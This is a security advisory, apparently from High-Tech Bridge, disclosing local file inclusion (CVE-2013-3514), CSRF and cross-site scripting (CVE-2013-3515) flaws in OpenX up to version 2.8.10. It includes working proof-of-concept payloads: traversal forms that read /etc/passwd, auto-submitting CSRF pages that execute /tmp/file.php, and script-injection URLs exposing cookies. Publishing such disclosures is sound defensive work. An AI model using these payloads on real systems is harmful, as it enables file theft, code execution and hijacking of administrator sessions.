Lucene search

K
htbridgeHigh-Tech BridgeHTB23155
HistoryMay 08, 2013 - 12:00 a.m.

Multiple Vulnerabilities in OpenX

2013-05-0800:00:00
High-Tech Bridge
www.htbridge.com
22

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

0.003 Low

EPSS

Percentile

68.0%

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenX, which can be exploited to execute arbitrary PHP code, perform Cross-Site Scripting (XSS) attacks and compromise vulnerable system.

  1. Local File Inclusion in OpenX: CVE-2013-3514
    Input passed via “group” HTTP GET parameter to “/www/admin/plugin-preferences.php” and “/www/admin/plugin-settings.php” scripts is not properly verified before being used in PHP ‘include()’ function and can be exploited to include arbitrary local files via directory traversal sequences and URL-encoded NULL byte techniques:
    The following PoC (Proof-of-Concept) code display contents of “/etc/passwd” file on vulnerable system using vulnerability in the first script:
    <form action=“http://[host]/www/admin/plugin-preferences.php?group=…/…/…/…/…/ etc/passwd%00” method=“post” name=“main”>
    <input type=“hidden” name=“submitok” value=“true”>
    <input type=“submit” id=“btn”>
    </form>
    The second PoC code displays content of “/etc/passwd” file on vulnerable system using vulnerability in the second script:
    <form action=“http://[host]/www/admin/plugin-settings.php?group=…/…/…/…/…/etc /passwd%00” method=“post” name=“main”>
    <input type=“hidden” name=“submitok” value=“true”>
    <input type=“submit” id=“btn”>
    </form>

Successful exploitation of these vulnerabilities requires administrative privileges, however they can also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in OpenX administrator to open a specially crafted web page with CSRF exploit code.
Simple CSRF exploit below for the first vulnerability includes and executes “/tmp/file.php” script:
<form action=“http://[host]/www/admin/plugin-preferences.php?group=…/…/…/…/…/ tmp/file.php%00” method=“post” name=“main”>
<input type=“hidden” name=“submitok” value=“true”>
<input type=“submit” id=“btn”>
</form>
<script>
document.main.submit();
</script>
Simple CSRF exploit below for the second vulnerability includes and executes “/tmp/file.php” script:
<form action=“http://[host]/www/admin/plugin-settings.php?group=…/…/…/…/…/tmp /file.php%00” method=“post” name=“main”>
<input type=“hidden” name=“submitok” value=“true”>
<input type=“submit” id=“btn”>
</form>
<script>
document.main.submit();
</script>

  1. Cross-Site Scripting (XSS) in OpenX: CVE-2013-3515
    2.1 The vulnerability exists due to insufficient filtration of user-supplied data in “package” HTTP GET parameter passed to “/www/admin/plugin-index.php” script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.
    The exploitation example below uses the “alert()” JavaScript function to display administrator’s cookies:
    http://[host]/www/admin/plugin-index.php?action=disable&package=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E

2.2 The vulnerability exists due to insufficient filtration of user-supplied data in “group” HTTP GET parameter passed to “/www/admin/plugin-settings.php” script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display administrator’s cookies:
http://[host]/www/admin/plugin-settings.php?group=%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E

CPENameOperatorVersion
openxle2.8.10

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

0.003 Low

EPSS

Percentile

68.0%